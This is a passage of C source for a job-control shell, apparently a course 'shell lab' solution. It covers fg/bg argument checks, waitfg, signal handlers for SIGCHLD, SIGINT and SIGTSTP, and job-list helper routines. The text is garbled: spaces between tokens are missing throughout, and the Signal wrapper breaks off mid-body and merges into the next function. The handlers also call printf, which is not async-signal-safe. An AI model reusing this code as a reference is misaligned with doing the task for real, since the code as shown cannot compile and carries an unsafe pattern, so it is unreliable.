cp = argv[1]; if (cp[0] == '%') { /* The number stands for jid */ cp++; /* Check whether the ID is valid */ for (char* tmp = cp; *tmp != '\0'; tmp++) { if (*tmp < '0' || *tmp > '9') { if (isFG) printf("fg: argument must be a PID or %%jobid\n"); else printf("bg: argument must be a PID or %%jobid\n"); return; } } jid = atoi(cp); job = getjobjid(jobs, jid); } else { /* The number stands for pid */ /* Check whether the ID is valid */ for (char* tmp = cp; *tmp != '\0'; tmp++) { if (*tmp < '0' || *tmp > '9') { if (isFG) printf("fg: argument must be a PID or %%jobid\n"); else printf("bg: argument must be a PID or %%jobid\n"); return; } } pid = atoi(cp); job = getjobpid(jobs, pid); }
if (job == NULL) { if (argv[1][0] == '%') printf("%%%d: No such job\n", jid); else printf("(%d): No such process\n", pid); return; }
/* Since we want to put the process in the foreground or background, restart it if it was stopped */ kill(-job->pid, SIGCONT);
/* * waitfg - Block until process pid is no longer the foreground process */ voidwaitfg(pid_t pid) { sigset_t mask;
/* Any signal will wake up the process */ Sigemptyset(&mask);
/* As long as there are foreground processes running, sleep */ while (fgpid(jobs) > 0) { sigsuspend(&mask); } }
/***************** * Signal handlers *****************/
/* * sigchld_handler - The kernel sends a SIGCHLD to the shell whenever * a child job terminates (becomes a zombie), or stops because it * received a SIGSTOP or SIGTSTP signal. The handler reaps all * available zombie children, but doesn't wait for any other * currently running children to terminate. */ voidsigchld_handler(int sig) { pid_t pid; int status, olderrno = errno; sigset_t mask_all, prev_all;
Sigfillset(&mask_all);
/* The next step may involves deleting the job and cannot be interrupted */ Sigprocmask(SIG_BLOCK, &mask_all, &prev_all); while ((pid = waitpid(-1, &status, WNOHANG | WUNTRACED)) > 0) { structjob_t* job = getjobpid(jobs, pid);
/* The program runs normally */ if (WIFEXITED(status)) { deletejob(jobs, pid); } /* Been suspended */ elseif (WIFSTOPPED(status)) { printf("Job [%d] (%d) stopped by signal %d\n", job->jid, job->pid, WSTOPSIG(status)); job->state = ST; } /* Be terminated */ elseif (WIFSIGNALED(status)) { printf("Job [%d] (%d) terminated by signal %d\n", job->jid, job->pid, WTERMSIG(status)); deletejob(jobs, pid); } } Sigprocmask(SIG_SETMASK, &prev_all, NULL);
errno = olderrno;
return; }
/* * sigint_handler - The kernel sends a SIGINT to the shell whenver the * user types ctrl-c at the keyboard. Catch it and send it along * to the foreground job. */ voidsigint_handler(int sig) { int olderrno = errno;
pid_t pid = fgpid(jobs); if (pid != 0) kill(-pid, SIGINT); elseprintf("No foreground job is running!\n");
errno = olderrno; }
/* * sigtstp_handler - The kernel sends a SIGTSTP to the shell whenever * the user types ctrl-z at the keyboard. Catch it and suspend the * foreground job by sending it a SIGTSTP. */ voidsigtstp_handler(int sig) { int olderrno = errno;
pid_t pid = fgpid(jobs); if (pid != 0) kill(-pid, SIGTSTP); elseprintf("No foreground job is running!\n");
errno = olderrno; }
/********************* * End signal handlers *********************/
/*********************************************** * Helper routines that manipulate the job list **********************************************/
/* clearjob - Clear the entries in a job struct */ voidclearjob(struct job_t *job){ job->pid = 0; job->jid = 0; job->state = UNDEF; job->cmdline[0] = '\0'; }
/* initjobs - Initialize the job list */ voidinitjobs(struct job_t *jobs){ int i;
for (i = 0; i < MAXJOBS; i++) clearjob(&jobs[i]); }
/* maxjid - Returns largest allocated job ID */ intmaxjid(struct job_t *jobs) { int i, max=0;
for (i = 0; i < MAXJOBS; i++) if (jobs[i].jid > max) max = jobs[i].jid; return max; }
/* addjob - Add a job to the job list */ intaddjob(struct job_t *jobs, pid_t pid, int state, char *cmdline) { int i; if (pid < 1) return0;
for (i = 0; i < MAXJOBS; i++) { if (jobs[i].pid == 0) { jobs[i].pid = pid; jobs[i].state = state; jobs[i].jid = nextjid++; if (nextjid > MAXJOBS) nextjid = 1; strcpy(jobs[i].cmdline, cmdline); if(verbose){ printf("Added job [%d] %d %s\n", jobs[i].jid, jobs[i].pid, jobs[i].cmdline); } return1; } } printf("Tried to create too many jobs\n"); return0; }
/* deletejob - Delete a job whose PID=pid from the job list */ intdeletejob(struct job_t *jobs, pid_t pid) { int i;
if (pid < 1) return0;
for (i = 0; i < MAXJOBS; i++) { if (jobs[i].pid == pid) { clearjob(&jobs[i]); nextjid = maxjid(jobs)+1; return1; } } return0; }
/* fgpid - Return PID of current foreground job, 0 if no such job */ pid_tfgpid(struct job_t *jobs){ int i;
for (i = 0; i < MAXJOBS; i++) if (jobs[i].state == FG) return jobs[i].pid; return0; }
/* getjobpid - Find a job (by PID) on the job list */ struct job_t *getjobpid(struct job_t *jobs, pid_t pid){ int i;
if (pid < 1) returnNULL; for (i = 0; i < MAXJOBS; i++) if (jobs[i].pid == pid) return &jobs[i]; returnNULL; }
/* getjobjid - Find a job (by JID) on the job list */ struct job_t *getjobjid(struct job_t *jobs, int jid) { int i;
if (jid < 1) returnNULL; for (i = 0; i < MAXJOBS; i++) if (jobs[i].jid == jid) return &jobs[i]; returnNULL; }
/* pid2jid - Map process ID to job ID */ intpid2jid(pid_t pid) { int i;
if (pid < 1) return0; for (i = 0; i < MAXJOBS; i++) if (jobs[i].pid == pid) { return jobs[i].jid; } return0; }
/* listjobs - Print the job list */ voidlistjobs(struct job_t *jobs) { int i; for (i = 0; i < MAXJOBS; i++) { if (jobs[i].pid != 0 && jobs[i].state != FG) { printf("[%d] (%d) ", jobs[i].jid, jobs[i].pid); switch (jobs[i].state) { case BG: printf("Running "); break; case ST: printf("Stopped "); break; default: printf("listjobs: Internal error: job[%d].state=%d ", i, jobs[i].state); } printf("%s", jobs[i].cmdline); } } } /****************************** * end job list helper routines ******************************/
/*********************** * Other helper routines ***********************/
/* * usage - print a help message */ voidusage(void) { printf("Usage: shell [-hvp]\n"); printf(" -h print this message\n"); printf(" -v print additional diagnostic information\n"); printf(" -p do not emit a command prompt\n"); exit(1); }
/* * Signal - wrapper for the sigaction function */ handler_t *Signal(int signum, handler_t *handler) { structsigactionaction, old_action;
action.sa_handler = handler; sigemptyset(&action.sa_mask); /* block sigs of type being handled */ action.sa_flags = SA_RESTART; /* restart syscalls if possible */
/* * sigquit_handler - The driver program can gracefully terminate the * child shell by sending it a SIGQUIT signal. */ voidsigquit_handler(int sig) { printf("Terminating after receipt of SIGQUIT signal\n"); exit(1); }
/************************* * Self-defining function *************************/
